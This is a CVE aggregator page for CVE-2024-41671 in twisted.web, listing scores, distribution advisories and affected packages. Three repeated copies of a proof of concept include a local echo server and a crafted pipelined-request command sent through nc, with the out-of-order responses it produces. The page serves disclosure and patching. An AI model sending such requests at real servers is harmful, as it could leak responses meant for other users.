CVE-2024-41671
twisted.web has disordered HTTP pipeline response
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
8.3
twisted.web has disordered HTTP pipeline response
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.
- Record
CVE-2024-41671- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-444
- Updated
- 2026-11-02
EUVDEUVD-2024-2318
8.3
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.
- Record
EUVD-2024-2318- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-c8m8-j448-xjx7
6.9
twisted.web has disordered HTTP pipeline response
Summary
The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.
PoC
- Start a fresh Debian container:
docker run --workdir /repro --rm -it debian:bookworm-slim
- Install twisted and its dependencies:
apt -y update && apt -y install ncat git python3 python3-pip \
&& git clone --recurse-submodules https://github.com/twisted/twisted \
&& cd twisted \
&& pip3 install --break-system-packages .
- Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:
from twisted.web import server, resource
from twisted.internet import reactor
class TheResource(resource.Resource):
isLeaf = True
def render_GET(self, request) -> bytes:
return b"GET"
def render_POST(self, request) -> bytes:
return b"POST"
site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
- Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80
- Observe that the responses arrive out of order:
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html
POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html
GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html
POST
Impact
See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
- Record
GHSA-c8m8-j448-xjx7- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L - CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-444
- Updated
- 2026-11-02
NVD
8.3
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.
- Record
CVE-2024-41671- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-444
- Updated
- 2026-11-02
OSVALPINE-CVE-2024-41671
8.3
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.
- Record
ALPINE-CVE-2024-41671- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-03
OSV
8.3
twisted.web has disordered HTTP pipeline response
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.
- Record
CVE-2024-41671- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-444
- Updated
- 2026-11-02
Show 21 moreShow less
OSVDEBIAN-CVE-2024-41671
8.3
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.
- Record
DEBIAN-CVE-2024-41671- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
OSVGHSA-c8m8-j448-xjx7
6.9
twisted.web has disordered HTTP pipeline response
Summary
The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.
PoC
- Start a fresh Debian container:
docker run --workdir /repro --rm -it debian:bookworm-slim
- Install twisted and its dependencies:
apt -y update && apt -y install ncat git python3 python3-pip \
&& git clone --recurse-submodules https://github.com/twisted/twisted \
&& cd twisted \
&& pip3 install --break-system-packages .
- Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:
from twisted.web import server, resource
from twisted.internet import reactor
class TheResource(resource.Resource):
isLeaf = True
def render_GET(self, request) -> bytes:
return b"GET"
def render_POST(self, request) -> bytes:
return b"POST"
site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
- Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80
- Observe that the responses arrive out of order:
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html
POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html
GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html
POST
Impact
See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
- Record
GHSA-c8m8-j448-xjx7- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L - CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-444
- Updated
- 2026-11-02
OSVOESA-2024-1983
8.3
python-twisted security update
Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:
Security Fix(es):
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)
- Record
OESA-2024-1983- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
OSVOESA-2024-1984
8.3
python-twisted security update
Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:
Security Fix(es):
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)
- Record
OESA-2024-1984- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
OSVOESA-2024-1985
8.3
python-twisted security update
Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:
Security Fix(es):
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)
- Record
OESA-2024-1985- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
OSVOESA-2024-1986
8.3
python-twisted security update
Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:
Security Fix(es):
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)
- Record
OESA-2024-1986- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
OSVOESA-2024-2052
8.3
python-twisted security update
Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:
Security Fix(es):
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)
- Record
OESA-2024-2052- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
OSVPYSEC-2026-1992
6.9
twisted.web has disordered HTTP pipeline response
Summary
The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.
PoC
- Start a fresh Debian container:
docker run --workdir /repro --rm -it debian:bookworm-slim
- Install twisted and its dependencies:
apt -y update && apt -y install ncat git python3 python3-pip \
&& git clone --recurse-submodules https://github.com/twisted/twisted \
&& cd twisted \
&& pip3 install --break-system-packages .
- Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:
from twisted.web import server, resource
from twisted.internet import reactor
class TheResource(resource.Resource):
isLeaf = True
def render_GET(self, request) -> bytes:
return b"GET"
def render_POST(self, request) -> bytes:
return b"POST"
site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
- Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80
- Observe that the responses arrive out of order:
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html
POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html
GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html
POST
Impact
See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
- Record
PYSEC-2026-1992- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L - CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
OSVUBUNTU-CVE-2024-41671
8.3
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.
- Record
UBUNTU-CVE-2024-41671- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
OSVAZL-47101 No score
CVE-2024-41671 affecting package python-twisted for versions less than 22.10.0-3
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.
- Record
AZL-47101- Updated
- 2026-11-02
OSVAZL-47151 No score
CVE-2024-41671 affecting package python-twisted for versions less than 22.10.0-3
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.
- Record
AZL-47151- Updated
- 2026-11-05
OSVCLSA-2025-1762474360 No score
TuxCare security update for twisted (4 CVEs)
TuxCare rebuilt twisted to address 4 CVEs. Fixed in 20.3.0.post4+tuxcare.
- Record
CLSA-2025-1762474360- Updated
- 2026-11-02
OSVMGASA-2025-0054 No score
Updated python-twisted packages fix security vulnerabilities
Twisted.web has disordered HTTP pipeline response. (CVE-2023-46137) Twisted.web has disordered HTTP pipeline response. (CVE-2024-41671) HTML injection in HTTP redirect body. (CVE-2024-41810)
- Record
MGASA-2025-0054- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:14228-1 No score
matrix-synapse-1.112.0-1.1 on GA media
These are all security issues fixed in the matrix-synapse-1.112.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:14228-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:14236-1 No score
python-Twisted-doc-24.3.0-2.1 on GA media
These are all security issues fixed in the python-Twisted-doc-24.3.0-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:14236-1- Updated
- 2026-11-02
OSVSUSE-SU-2024:2732-1 No score
Security update for python-Twisted
This update for python-Twisted fixes the following issues:
- CVE-2024-41671: Fixed an information disclosure due to HTTP requests processed out-of-order (bsc#1228549)
- CVE-2024-41810: Fixed reflected XSS via HTML injection in redirect response (bsc#1228552)
- Record
SUSE-SU-2024:2732-1- Updated
- 2026-11-02
OSVSUSE-SU-2024:2757-1 No score
Security update for python-Twisted
This update for python-Twisted fixes the following issues:
- CVE-2024-41671: Fixed an information disclosure due to HTTP requests processed out-of-order (bsc#1228549)
- CVE-2024-41810: Fixed reflected XSS via HTML injection in redirect response (bsc#1228552)
- Record
SUSE-SU-2024:2757-1- Updated
- 2026-11-02
OSVSUSE-SU-2024:2860-1 No score
Security update for python3-Twisted
This update for python3-Twisted fixes the following issues:
- CVE-2024-41671: Fixed HTTP pipelined requests processed out of order in twisted.web (bsc#1228549)
- CVE-2024-41810: Fixed reflected XSS via HTML Injection in Redirect Response (bsc#1228552)
- Record
SUSE-SU-2024:2860-1- Updated
- 2026-11-02
OSVSUSE-SU-2024:2880-1 No score
Security update for python-Twisted
This update for python-Twisted fixes the following issues:
- CVE-2024-41671: Fixed an information disclosure due to HTTP requests processed out-of-order (bsc#1228549)
- CVE-2024-41810: Fixed reflected XSS via HTML injection in redirect response (bsc#1228552)
- Record
SUSE-SU-2024:2880-1- Updated
- 2026-11-02
OSVUSN-6988-1 No score
twisted vulnerabilities
Ben Kallus discovered that Twisted incorrectly handled response order when processing multiple HTTP requests. A remote attacker could possibly use this issue to delay and manipulate responses. This issue only affected Ubuntu 24.04 LTS. (CVE-2024-41671)
It was discovered that Twisted did not properly sanitize certain input. An attacker could use this vulnerability to possibly execute an HTML injection leading to a cross-site scripting (XSS) attack. (CVE-2024-41810)
- Record
USN-6988-1- Updated
- 2026-11-02
OSVUSN-6988-2 No score
twisted vulnerability
USN-6988-1 fixed CVE-2024-41671 in Twisted. The USN incorrectly stated that previous releases were unaffected. This update provides the equivalent fix for Ubuntu 22.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 18.04 LTS.
Original advisory details:
Ben Kallus discovered that Twisted incorrectly handled response order when processing multiple HTTP requests. A remote attacker could possibly use this issue to delay and manipulate responses. This issue only affected Ubuntu 24.04 LTS. (CVE-2024-41671)
- Record
USN-6988-2- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
twistedPyPI |
through 24.3.0 | 24.7.0rc1 |
synapseAlpine:v3.20 |
before 1.112.0-r0 | 1.112.0-r0 |
synapseAlpine:v3.21 |
before 1.112.0-r0 | 1.112.0-r0 |
synapseAlpine:v3.22 |
before 1.112.0-r0 | 1.112.0-r0 |
synapseAlpine:v3.23 |
before 1.112.0-r0 | 1.112.0-r0 |
synapseAlpine:v3.24 |
before 1.112.0-r0 | 1.112.0-r0 |
python-twistedAzure Linux:2 |
before 22.10.0-3 | 22.10.0-3 |
python-twistedAzure Linux:3 |
before 22.10.0-3 | 22.10.0-3 |
twistedTuxCare:PyPI From an advisory covering 4 CVEs |
20.3.0 up to 20.3.0.post4+tuxcare | 20.3.0.post4+tuxcare |
twistedDebian:12 |
before 22.4.0-4+deb12u1, plus listed versions 22.4.0-4 |
22.4.0-4+deb12u1 |
Show 49 moreShow less
| Package | Affected | Fixed |
|---|---|---|
twistedDebian:13 |
before 24.7.0-1 | 24.7.0-1 |
twistedDebian:14 |
before 24.7.0-1 | 24.7.0-1 |
twistedDebian:11 From an advisory covering 4 CVEs |
before 20.3.0-7+deb11u2, plus listed versions 20.3.0-720.3.0-7+deb11u1 |
20.3.0-7+deb11u2 |
twistedDebian:12 From an advisory covering 3 CVEs |
before 22.4.0-4+deb12u1, plus listed versions 22.4.0-4 |
22.4.0-4+deb12u1 |
twistedPyPI |
before 24.7.0rc1, plus listed versions 1.0.11.0.31.0.41.0.51.0.6 Show 45 moreShow less1.0.71.1.01.1.11.2.010.0.010.1.010.2.011.0.011.1.012.0.012.1.012.2.012.3.013.0.013.1.013.2.014.0.014.0.114.0.215.0.015.1.015.2.015.2.115.3.015.4.015.5.016.0.016.1.016.1.116.2.016.3.016.3.116.3.216.4.016.4.116.5.016.5.0rc116.5.0rc216.6.016.6.0rc116.7.0rc116.7.0rc217.1.017.1.0rc117.5.0 |
24.7.0rc1 |
python-twistedMageia:9 From an advisory covering 3 CVEs |
before 22.10.0-2.1.mga9 | 22.10.0-2.1.mga9 |
python-twistedopenEuler:24.03-LTS From an advisory covering 2 CVEs |
before 22.10.0-4.oe2403 | 22.10.0-4.oe2403 |
python-twistedopenEuler:22.03-LTS-SP3 From an advisory covering 2 CVEs |
before 22.4.0-4.oe2203sp3 | 22.4.0-4.oe2203sp3 |
python-twistedopenEuler:20.03-LTS-SP4 From an advisory covering 2 CVEs |
before 22.4.0-3.oe2003sp4 | 22.4.0-3.oe2003sp4 |
python-twistedopenEuler:22.03-LTS-SP1 From an advisory covering 2 CVEs |
before 22.4.0-4.oe2203sp1 | 22.4.0-4.oe2203sp1 |
python-twistedopenEuler:22.03-LTS-SP4 From an advisory covering 2 CVEs |
before 22.4.0-4.oe2203sp4 | 22.4.0-4.oe2203sp4 |
python-TwistedSUSE:Linux Enterprise Module for Web and Scripting 12 From an advisory covering 2 CVEs |
before 15.2.1-9.26.1 | 15.2.1-9.26.1 |
python-TwistedSUSE:Linux Enterprise High Performance Computing 15 SP2-LTSS From an advisory covering 2 CVEs |
before 19.10.0-150200.3.24.1 | 19.10.0-150200.3.24.1 |
python-TwistedSUSE:Linux Enterprise High Performance Computing 15 SP3-LTSS From an advisory covering 2 CVEs |
before 19.10.0-150200.3.24.1 | 19.10.0-150200.3.24.1 |
python-TwistedSUSE:Linux Enterprise Server 15 SP2-LTSS From an advisory covering 2 CVEs |
before 19.10.0-150200.3.24.1 | 19.10.0-150200.3.24.1 |
python-TwistedSUSE:Linux Enterprise Server 15 SP3-LTSS From an advisory covering 2 CVEs |
before 19.10.0-150200.3.24.1 | 19.10.0-150200.3.24.1 |
python-TwistedSUSE:Linux Enterprise Server for SAP Applications 15 SP2 From an advisory covering 2 CVEs |
before 19.10.0-150200.3.24.1 | 19.10.0-150200.3.24.1 |
python-TwistedSUSE:Linux Enterprise Server for SAP Applications 15 SP3 From an advisory covering 2 CVEs |
before 19.10.0-150200.3.24.1 | 19.10.0-150200.3.24.1 |
python-TwistedSUSE:Enterprise Storage 7.1 From an advisory covering 2 CVEs |
before 19.10.0-150200.3.24.1 | 19.10.0-150200.3.24.1 |
python3-TwistedSUSE:Linux Enterprise Module for Server Applications 15 SP5 From an advisory covering 2 CVEs |
before 22.2.0-150400.21.1 | 22.2.0-150400.21.1 |
python3-TwistedSUSE:Linux Enterprise Module for Server Applications 15 SP6 From an advisory covering 2 CVEs |
before 22.2.0-150400.21.1 | 22.2.0-150400.21.1 |
python3-TwistedSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 2 CVEs |
before 22.2.0-150400.21.1 | 22.2.0-150400.21.1 |
python3-TwistedSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 2 CVEs |
before 22.2.0-150400.21.1 | 22.2.0-150400.21.1 |
python3-TwistedSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 2 CVEs |
before 22.2.0-150400.21.1 | 22.2.0-150400.21.1 |
python3-TwistedSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 2 CVEs |
before 22.2.0-150400.21.1 | 22.2.0-150400.21.1 |
python3-TwistedSUSE:Manager Proxy 4.3 From an advisory covering 2 CVEs |
before 22.2.0-150400.21.1 | 22.2.0-150400.21.1 |
python3-TwistedSUSE:Manager Server 4.3 From an advisory covering 2 CVEs |
before 22.2.0-150400.21.1 | 22.2.0-150400.21.1 |
python3-TwistedopenSUSE:Leap 15.5 From an advisory covering 2 CVEs |
before 22.2.0-150400.21.1 | 22.2.0-150400.21.1 |
python-TwistedSUSE:Linux Enterprise Module for Public Cloud 15 SP4 From an advisory covering 2 CVEs |
before 22.10.0-150400.5.23.1 | 22.10.0-150400.5.23.1 |
python-TwistedSUSE:Linux Enterprise Module for Python 3 15 SP5 From an advisory covering 2 CVEs |
before 22.10.0-150400.5.23.1 | 22.10.0-150400.5.23.1 |
python-TwistedSUSE:Linux Enterprise Module for Python 3 15 SP6 From an advisory covering 2 CVEs |
before 22.10.0-150400.5.23.1 | 22.10.0-150400.5.23.1 |
python-TwistedSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 2 CVEs |
before 22.10.0-150400.5.23.1 | 22.10.0-150400.5.23.1 |
python-TwistedSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 2 CVEs |
before 22.10.0-150400.5.23.1 | 22.10.0-150400.5.23.1 |
python-TwistedSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 2 CVEs |
before 22.10.0-150400.5.23.1 | 22.10.0-150400.5.23.1 |
python-TwistedSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 2 CVEs |
before 22.10.0-150400.5.23.1 | 22.10.0-150400.5.23.1 |
python-TwistedopenSUSE:Leap 15.5 From an advisory covering 2 CVEs |
before 22.10.0-150400.5.23.1 | 22.10.0-150400.5.23.1 |
python-TwistedopenSUSE:Leap 15.6 From an advisory covering 2 CVEs |
before 22.10.0-150400.5.23.1 | 22.10.0-150400.5.23.1 |
twistedUbuntu:Pro:18.04:LTS |
before 17.9.0-2ubuntu0.3+esm2, plus listed versions 16.6.0-2ubuntu317.9.0-117.9.0-217.9.0-2ubuntu0.117.9.0-2ubuntu0.317.9.0-2ubuntu0.3+esm1 |
17.9.0-2ubuntu0.3+esm2 |
twistedUbuntu:20.04:LTS |
before 18.9.0-11ubuntu0.20.04.5, plus listed versions 18.9.0-3ubuntu118.9.0-518.9.0-618.9.0-6build118.9.0-6ubuntu1 Show 6 moreShow less18.9.0-818.9.0-1118.9.0-11ubuntu0.20.04.118.9.0-11ubuntu0.20.04.218.9.0-11ubuntu0.20.04.318.9.0-11ubuntu0.20.04.4 |
18.9.0-11ubuntu0.20.04.5 |
twistedUbuntu:22.04:LTS |
before 22.1.0-2ubuntu2.6, plus listed versions 20.3.0-7ubuntu120.3.0-7ubuntu322.1.0-2ubuntu222.1.0-2ubuntu2.122.1.0-2ubuntu2.322.1.0-2ubuntu2.422.1.0-2ubuntu2.5 |
22.1.0-2ubuntu2.6 |
twistedUbuntu:24.04:LTS |
before 24.3.0-1ubuntu0.1, plus listed versions 22.4.0-422.4.0-4ubuntu123.10.0-224.3.0-1 |
24.3.0-1ubuntu0.1 |
twistedUbuntu:Pro:14.04:LTS From an advisory covering 2 CVEs |
before 13.2.0-1ubuntu1.2+esm3, plus listed versions 13.0.0-1ubuntu113.2.0-1ubuntu113.2.0-1ubuntu1.213.2.0-1ubuntu1.2+esm113.2.0-1ubuntu1.2+esm2 |
13.2.0-1ubuntu1.2+esm3 |
twistedUbuntu:Pro:16.04:LTS From an advisory covering 2 CVEs |
before 16.0.0-1ubuntu0.4+esm2, plus listed versions 15.2.1-1ubuntu215.5.0-115.5.0-215.5.0-2ubuntu115.5.0-4 Show 8 moreShow less16.0.0~pre1-116.0.0~pre1-1ubuntu116.0.0~pre1-2ubuntu116.0.0~pre1-316.0.0-116.0.0-1ubuntu0.216.0.0-1ubuntu0.416.0.0-1ubuntu0.4+esm1 |
16.0.0-1ubuntu0.4+esm2 |
twistedUbuntu:Pro:18.04:LTS From an advisory covering 2 CVEs |
before 17.9.0-2ubuntu0.3+esm1, plus listed versions 16.6.0-2ubuntu317.9.0-117.9.0-217.9.0-2ubuntu0.117.9.0-2ubuntu0.3 |
17.9.0-2ubuntu0.3+esm1 |
twistedUbuntu:20.04:LTS From an advisory covering 2 CVEs |
before 18.9.0-11ubuntu0.20.04.4, plus listed versions 18.9.0-3ubuntu118.9.0-518.9.0-618.9.0-6build118.9.0-6ubuntu1 Show 5 moreShow less18.9.0-818.9.0-1118.9.0-11ubuntu0.20.04.118.9.0-11ubuntu0.20.04.218.9.0-11ubuntu0.20.04.3 |
18.9.0-11ubuntu0.20.04.4 |
twistedUbuntu:22.04:LTS From an advisory covering 2 CVEs |
before 22.1.0-2ubuntu2.5, plus listed versions 20.3.0-7ubuntu120.3.0-7ubuntu322.1.0-2ubuntu222.1.0-2ubuntu2.122.1.0-2ubuntu2.322.1.0-2ubuntu2.4 |
22.1.0-2ubuntu2.5 |
twistedUbuntu:24.04:LTS From an advisory covering 2 CVEs |
before 24.3.0-1ubuntu0.1, plus listed versions 22.4.0-422.4.0-4ubuntu123.10.0-224.3.0-1 |
24.3.0-1ubuntu0.1 |
matrix-synapseopenSUSE:Tumbleweed |
before 1.112.0-1.1 | 1.112.0-1.1 |
python-TwistedopenSUSE:Tumbleweed From an advisory covering 2 CVEs |
before 24.3.0-2.1 | 24.3.0-2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | OSV | |
| affected, aliases, references | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
